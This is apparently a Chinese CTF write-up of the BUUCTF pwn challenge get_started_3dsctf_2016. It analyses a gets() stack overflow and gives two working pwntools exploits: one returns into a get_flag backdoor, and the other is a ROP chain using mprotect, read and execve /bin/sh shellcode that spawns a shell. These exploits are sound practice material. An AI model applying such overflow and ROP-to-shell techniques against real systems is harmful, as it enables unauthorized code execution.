buuctf.pwn.get_started_3dsctf_2016

发布时间 2023-04-06 15:50:59作者: redqx

检查

发现没什么保护

然后进入IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[56]; // [esp+4h] [ebp-38h] BYREF

  printf("Qual a palavrinha magica? ", v4[0]);  // 080489A0
  gets(v4);
  return 0;
}

比较值得注意的地方

这个elf的函数的栈机制有点不同

基本不使用ebp,比如start函数

.text:0804884F
.text:0804884F
.text:0804884F ; Attributes: noreturn fuzzy-sp
.text:0804884F
.text:0804884F public _start
.text:0804884F _start proc near
.text:0804884F xor     ebp, ebp
.text:08048851 pop     esi
.text:08048852 mov     ecx, esp
.text:08048854 and     esp, 0FFFFFFF0h
.text:08048857 push    eax
.text:08048858 push    esp             ; stack_end
.text:08048859 push    edx             ; rtld_fini
.text:0804885A push    offset __libc_csu_fini ; fini
.text:0804885F push    offset __libc_csu_init ; init
.text:08048864 push    ecx             ; ubp_av
.text:08048865 push    esi             ; argc
.text:08048866 push    offset main     ; main
.text:0804886B call    __libc_start_main
.text:0804886B _start endp
.text:0804886B

直接把ebp=0搞上

就算我们进入main函数

可以看到,仍然是ebp=0

所以,我们的返回地址不再是[ebp+4],那是多少?

为什么之前返回地址是ebp+4呢?

因为以前

push 参数
call 函数

函数:
push ebp
mov ebp,esp

所以才会有[ebp+4=]返回地址

或者说,在esp没发生变化之前,[esp+4]也是返回地址

但是我们没有了ebp,在esp没发生变化之前

push 参数
call 函数

函数:

我们的[esp]就是返回地址

既然知道了返回地址怎么获取

同时:esp怎么恢复呢? 开辟了多少,释放多少就直接恢复了

那么参数怎么读取,以前是[ebp+8]是第一个参数

现在呢?

比如我们的printf函数,例如有2个参数

.text:0804F0E0 sub     esp, 12         ; Alternative name is '_IO_printf'
.text:0804F0E3 lea     eax, [esp+20]
.text:0804F0E7 sub     esp, 4
.text:0804F0EA push    eax
.text:0804F0EB push    dword ptr [esp+24]
.text:0804F0EF push    stdout
.text:0804F0F5 call    vfprintf
.text:0804F0FA add     esp, 1Ch
.text:0804F0FD retn

进入call,在esp没发生变化之前

[esp+4],[esp+8]分别是对应的参数

现在sub esp, 12

所以[esp+4+12],[esp+8+12]才是参数

至于参数怎么读取

我们只需要关心直接压入,读取应该是它自己的事情吧

way1

去找函数,发现有一个后门函数

所以我们可以通过main函数溢出到这里来

其中有2个判断a1 == 0x308CD64F && a2 == 0x195719D1

对应的参数直接在栈里面放入即可

比较值得注意的地方, woc,远程函数如果不能正常退出的话,不会回显,什么鬼

void __cdecl get_flag(int a1, int a2)
{
  int v2; // esi
  unsigned __int8 v3; // al
  int v4; // ecx
  unsigned __int8 v5; // al

  if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = getc(v2);
    if ( v3 != 0xFF )
    {
      v4 = (char)v3;
      do
      {
        putchar(v4);
        v5 = getc(v2);
        v4 = (char)v5;
      }
      while ( v5 != 0xFF );
    }
    fclose(v2);
  }
}

所以exp?

之前[esp]=返回地址

sub     esp, 60

所以[esp+60]=返回地址

.text:08048A2F lea     eax, [esp+4]
.text:08048A33 mov     [esp], eax
.text:08048A36 call    gets

写入开始位置是esp+4,距离esp+60有(60-4)=56字节=0x38个字节

所以,我们先填充0x38个数据,然后写入要去往的地址

但是为了我们要保证函数可以正常退出,也就是要exit回去

所以,我们还得写入返回地址,既然涉及写入返回地址

那么我么干的事情就类似于call 后门函数,然后调用exit

call 后门函数
call exit

所以,去往后门函数的时候

压入2个对比数据,然后压入exit的地址,

main函数retn去往后门函数,所以最后

from pwn import*
if 1:
    host='node4.buuoj.cn'
    port=28775
else:
    host='127.0.0.1'
    port=12345
#打远程时,如果程序是异常退出了,最后是不给你回显的。所以我们得想办法让程序正常退出    
lp_exit=0x0804e6a0
p=remote(host,port)
payload=b'\0'*0x38+p32(0x080489A0)+p32(lp_exit)+p32(0x308CD64F)	+p32(0x195719D1)
p.sendline(payload)
p.recv()

疑惑: 为什么不可以是

sendafter("Qual a palavrinha magica? ",payload)

本地可以,远程就g

way2

这个elf还内置有一个危险的函数

mprotect()

mprotect 函数可以将一段内存设置为不可读、不可写、不可执行等多种保护方式。

#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);

addr 参数表示要更改保护方式的内存区域的起始地址

len 参数表示内存区域的长度

prot 参数表示要设置的保护方式,

  • PROT_EXEC: 1 可执行。
  • PROT_READ: 2 可读。
  • PROT_WRITE:4 可写。
  • PROT_NONE: 0 不可访问

7 = PROT_EXEC|PROT_READ|PROT_WRITE

所以,我们可以干什么... ?

可以寻找一个内存区域,然后修改该内存的属性为rwx

然后往那块数据写入代码

然后跑去执行那个代码

from pwn import*

if 1:
    host='node4.buuoj.cn'
    port=28256
else:
    host='127.0.0.1'
    port=12345

context.os='linux'
context.arch='i386'
context.log_level='debug'

pop3_ret=0x0804f460 # 不同于ret 12 ,ret 12 是先pop ip 然后add esp,12
#这个题目也只能pop3——ret
shellcode_addr=0x08048A20 
shellcode_len=0x100
shellcode_arrt=1|2|4
p = remote(host,port)
elf = ELF('./get_started_3dsctf_2016')

payload = b'\0'*0x38 #要填充的字节
payload+=p32(elf.sym['mprotect'])#调用mprotect
payload+=p32(pop3_ret) # 返回地址,去往一个地方, 可以 pop 3下,因为mprotect是一个外平栈
payload+=p32(shellcode_addr) #套要设置的地址 一个不会被访问的地方
payload+=p32(shellcode_len) #要设置的长度
payload+=p32(shellcode_arrt) #要设置的属性 rwx

payload+=p32(elf.sym['read'])#pop3下后,要返回的地方 call mprotect; call read
payload+=p32(pop3_ret)#最后返回到shellcode
payload+=p32(0)#往stdin写
payload+=p32(shellcode_addr)#写到lp_shellcode那里去
payload+=p32(shellcode_len)#最多写入0x30,因为我么只设置了0x30字节
payload+=p32(shellcode_addr)# 再次返回

p.sendline(payload)#  call mprotect; call read
payload = asm(shellcraft.sh()) # 输入shellcode , shellcode内容是asm函数主动生成的
p.sendline(payload)
p.interactive()

关于mprotect和read外平衡

mprotect必须外平衡

但是read没必要

因为read执行结束后,直接去往shellcode,对esp没有什么要求

    .section .shellcode,"awx"
    .global _start
    .global __start
    .p2align 2
    _start:
    __start:
    .intel_syntax noprefix
        /* execve(path='/bin///sh', argv=['sh'], envp=0) */
        /* push b'/bin///sh\x00' */
        push 0x68
        push 0x732f2f2f
        push 0x6e69622f
        mov ebx, esp
        /* push argument array ['sh\x00'] */
        /* push 'sh\x00\x00' */
        push 0x1010101
        xor dword ptr [esp], 0x1016972
        xor ecx, ecx
        push ecx /* null terminate */
        push 4
        pop ecx
        add ecx, esp
        push ecx /* 'sh\x00' */
        mov ecx, esp
        xor edx, edx
        /* call execve() */
        push 11 /* 0xb */
        pop eax
        int 0x80

然后就是

为什么是pop3_ret

而不是ret 12

pop3_ret 是 add esp,12 然后 pop ip

ret12 是 pop ip, 然后 add esp,12

看一下mprotect

这个函数看不出栈的开辟,有一个push ebx

下面是一个mprotect的调用

.text:0809793C 6A 01                         push    1
.text:0809793E 52                            push    edx
.text:0809793F 53                            push    ebx
.text:08097940 E8 3B 73 FD FF                call    mprotect
.text:08097945 83 C4 10                      add     esp, 10h

一个read的调用

.text:08092F7A 50                            push    eax
.text:08092F7B 53                            push    ebx
.text:08092F7C FF 75 E0                      push    [ebp+var_20]
.text:08092F7F E8 BC B1 FD FF                call    read
.text:08092F84 83 C4 10                      add     esp, 10h

如果我们用ret12的话

比如调用mprotect

payload+=p32(elf.sym['mprotect'])#调用mprotect
payload+=p32(ret12) # 返回地址,去往一个地方, 可以 pop 3下,因为mprotect是一个外平栈
payload+=p32(shellcode_addr) #套要设置的地址 一个不会被访问的地方
payload+=p32(shellcode_len) #要设置的长度
payload+=p32(shellcode_arrt) #要设置的属性 rwx

结束后去往ret12

但是ret12要先pop ip 然后add esp,12

payload+=p32(elf.sym['mprotect'])#调用mprotect
payload+=p32(ret12) # 返回地址,去往一个地方, 可以 pop 3下,因为mprotect是一个外平栈
payload+=p32(lp_read)
payload+=p32(shellcode_addr) #套要设置的地址 一个不会被访问的地方
payload+=p32(shellcode_len) #要设置的长度
payload+=p32(shellcode_arrt) #要设置的属性 rwx

但是如果不要jmp的地址填写到栈中的话

就会导致mprotect读取参数失败

所以,我么还是乖乖用pop3_ret

 ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop

0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret

 ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop

0x080718b5 : ret 0xc